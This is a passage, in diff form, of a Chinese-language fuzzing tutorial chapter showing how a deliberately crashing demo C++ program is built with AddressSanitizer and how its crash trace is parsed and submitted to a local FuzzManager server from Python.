
+)
+
+## 收集崩溃
+
+要填充数据库，我们需要崩溃。 让我们看一下`simply-buggy`，这是一个示例库，其中包含一些琐碎的C ++程序，用于说明。
+
+```py
+!git clone https://github.com/choller/simply-buggy
+
+```
+
+```py
+Cloning into 'simply-buggy'...
+remote: Enumerating objects: 22, done.
+remote: Counting objects: 100% (22/22), done.
+remote: Compressing objects: 100% (16/16), done.
+remote: Total 22 (delta 9), reused 15 (delta 6), pack-reused 0
+Unpacking objects: 100% (22/22), done.
+
+```
+
+make命令将编译目标程序，包括第一个目标*简单崩溃*示例。 在程序旁边，还生成了一个配置文件。
+
+```py
+!(cd simply-buggy && make)
+
+```
+
+```py
+clang++ -fsanitize=address -g -o maze maze.cpp
+clang++ -fsanitize=address -g -o out-of-bounds out-of-bounds.cpp
+clang++ -fsanitize=address -g -o simple-crash simple-crash.cpp
+
+```
+
+让我们看一下`simple-crash`源代码。 如您所见，源代码非常简单：通过写入（接近）-NULL指针而导致强制崩溃。 这应该立即在大多数计算机上崩溃。
+
+```py
+from [fuzzingbook_utils](https://github.com/uds-se/fuzzingbook/tree/master/notebooks/fuzzingbook_utils) import print_file
+
+```
+
+```py
+print_file("simply-buggy/simple-crash.cpp")
+
+```
+
+```py
+/*
+ * simple-crash - A simple NULL crash.
+ *
+ * WARNING: This program neither makes sense nor should you code like it is
+ *          done in this program. It is purely for demo purposes and uses
+ *          bad and meaningless coding habits on purpose.
+ */
+
+int crash() {
+  int* p = (int*)0x1;
+  *p = 0xDEADBEEF;
+  return *p;
+}
+
+int main(int argc, char** argv) {
+  return crash();
+}
+
+```
+
+为二进制文件生成的配置文件还包含一些简单的信息，例如程序的版本以及其他在提交崩溃时稍后需要或至少有用的元数据。
+
+```py
+print_file("simply-buggy/simple-crash.fuzzmanagerconf", lexer=IniLexer())
+
+```
+
+```py
+[Main]
+platform = x86-64
+product = simple-crash-simple-crash
+product_version = 83038f74e812529d0fc172a718946fbec385403e
+os = linux
+
+[Metadata]
+pathPrefix = /Users/zeller/Projects/fuzzingbook/notebooks/simply-buggy/
+buildFlags = -fsanitize=address -g
+
+```
+
+让我们运行程序！ 我们立即按预期获得了崩溃跟踪：
+
+```py
+!simply-buggy/simple-crash
+
+```
+
+```py
+AddressSanitizer:DEADLYSIGNAL
+=================================================================
+==60957==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000001 (pc 0x00010b3e4e78 bp 0x7ffee481b4a0 sp 0x7ffee481b470 T0) ==60957==The signal is caused by a WRITE memory access.
+==60957==Hint: address points to the zero page.
+    #0 0x10b3e4e77 in crash() simple-crash.cpp:11
+    #1 0x10b3e4efa in main simple-crash.cpp:16
+    #2 0x7fff65c683d4 in start (libdyld.dylib:x86_64+0x163d4)
+
+==60957==Register values:
+rax = 0x0000000000000001  rbx = 0x0000000000000000  rcx = 0x0000000000000001  rdx = 0x0000100000000000  
+rdi = 0x0000000000000000  rsi = 0x0000100000000000  rbp = 0x00007ffee481b4a0  rsp = 0x00007ffee481b470  
+ r8 = 0x0000000000000000   r9 = 0x0000000000000000  r10 = 0x0000000000000000  r11 = 0x0000000000000000  
+r12 = 0x0000000000000000  r13 = 0x0000000000000000  r14 = 0x0000000000000000  r15 = 0x0000000000000000  
+AddressSanitizer can not provide additional info.
+SUMMARY: AddressSanitizer: SEGV simple-crash.cpp:11 in crash()
+==60957==ABORTING
+
+```
+
+现在，我们实际要做的是改为从Python运行此二进制文件，检测其崩溃，收集跟踪并将其提交给服务器。 让我们从一个简单的脚本开始，该脚本将运行我们提供的程序并检测ASan跟踪的存在：
+
+```py
+import [subprocess](https://docs.python.org/3/library/subprocess.html)
+
+```
+
+```py
+cmd = ["simply-buggy/simple-crash"]
+
+```
+
+```py
+result = subprocess.run(cmd, stderr=subprocess.PIPE)
+stderr = result.stderr.decode().splitlines()
+crashed = False
+
+for line in stderr:
+    if "ERROR: AddressSanitizer" in line:
+        crashed = True
+        break
+
+if crashed:
+    print("Yay, we crashed!")
+else:
+    print("Move along, nothing to see...")
+
+```
+
+```py
+Yay, we crashed!
+
+```
+
+使用此脚本，我们现在可以运行二进制文件并确实检测到它崩溃了。 但是，我们现在如何将这些信息发送到崩溃服务器？ 让我们从 *FuzzManager* 工具箱中添加一些功能。
+
+### 程序配置
+
+`ProgramConfiguration`在很大程度上是一个容器类，用于存储程序的各种属性，例如 产品名称，平台，版本和运行时选项。 默认情况下，它从为被测程序创建的`.fuzzmanagerconf`文件中读取信息。
+
+```py
+from [FTB.ProgramConfiguration](FTB.ProgramConfiguration.html) import ProgramConfiguration
+
+```
+
+```py
+configuration = ProgramConfiguration.fromBinary('simply-buggy/simple-crash')
+(configuration.product, configuration.platform)
+
+```
+
+```py
+('simple-crash-simple-crash', 'x86-64')
+
+```
+
+### 崩溃信息
+
+`CrashInfo`对象存储有关崩溃的所有必要数据，包括
+
+*   程序的标准输出
+*   程序的stderr输出
+*   GDB或AddressSanitizer产生的崩溃信息
+*   `ProgramConfiguration`实例
+
+```py
+from [FTB.Signatures.CrashInfo](FTB.Signatures.CrashInfo.html) import CrashInfo
+
+```
+
+让我们收集有关`simply-crash`运行的信息：
+
+```py
+cmd = ["simply-buggy/simple-crash"]
+result = subprocess.run(cmd, stderr=subprocess.PIPE, stdout=subprocess.PIPE)
+
+```
+
+```py
+stderr = result.stderr.decode().splitlines()
+stderr[0:3]
+
+```
+
+```py
+['AddressSanitizer:DEADLYSIGNAL',
+ '=================================================================',
+ '==60963==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000001 (pc 0x00010f4dce78 bp 0x7ffee0723460 sp 0x7ffee0723430 T0)']
+
+```
+
+```py
+stdout = result.stdout.decode().splitlines()
+stdout
+
+```
+
+```py
+[]
+
+```
+
+这会将ASan跟踪读取并解析为更通用的格式，从而向我们返回可以检查和/或提交给服务器的通用`CrashInfo`对象：
+
+```py
+crashInfo = CrashInfo.fromRawCrashData(stdout, stderr, configuration)
+print(crashInfo)
+
+```
+
+```py
+Crash trace:
+
+# 00    crash
+# 01    main
+# 02    start
+
+Crash address: 0x1
+
+Last 5 lines on stderr:
+ r8 = 0x0000000000000000   r9 = 0x0000000000000000  r10 = 0x0000000000000000  r11 = 0x0000000000000000  
+r12 = 0x0000000000000000  r13 = 0x0000000000000000  r14 = 0x0000000000000000  r15 = 0x0000000000000000  
+AddressSanitizer can not provide additional info.
+SUMMARY: AddressSanitizer: SEGV simple-crash.cpp:11 in crash()
+==60963==ABORTING
+
+```
+
+### 收集器
+
+最后一步是将崩溃信息发送给我们的崩溃管理器。 `Collector`是与CrashManager服务器通信的功能。 收集器提供了一个简单的客户端界面，使您的客户端可以提交崩溃以及下载和匹配现有签名，从而避免重复报告常见问题。
+
+```py
+from [Collector.Collector](Collector.Collector.html) import Collector
+
+```
+
+我们实例化收集器实例； 这将是我们与服务器对话的入口。
+
+```py
+collector = Collector()
+
+```
+
+要提交崩溃信息，我们使用收集器的`submit()`方法：
+
+```py
+collector.submit(crashInfo);
+
+```
+
+### 检查崩溃
+
+现在，我们向本地的FuzzManager演示实例提交了一些东西。 如果您在本地计算机上运行崩溃服务器，则可以转到 [http://127.0.0.1:8000/crashmanager/crashes/](http://127.0.0.1:8000/crashmanager/crashes/) ，您应该看到刚刚提交的崩溃信息。 您可以查询产品，版本，操作系统以及更多崩溃详细信息。
+
+```py
+gui_driver.refresh()
+
+```
+
+```py
+Image(gui_driver.get_screenshot_as_png())
+
+```
+
+![](data:image/png;base64,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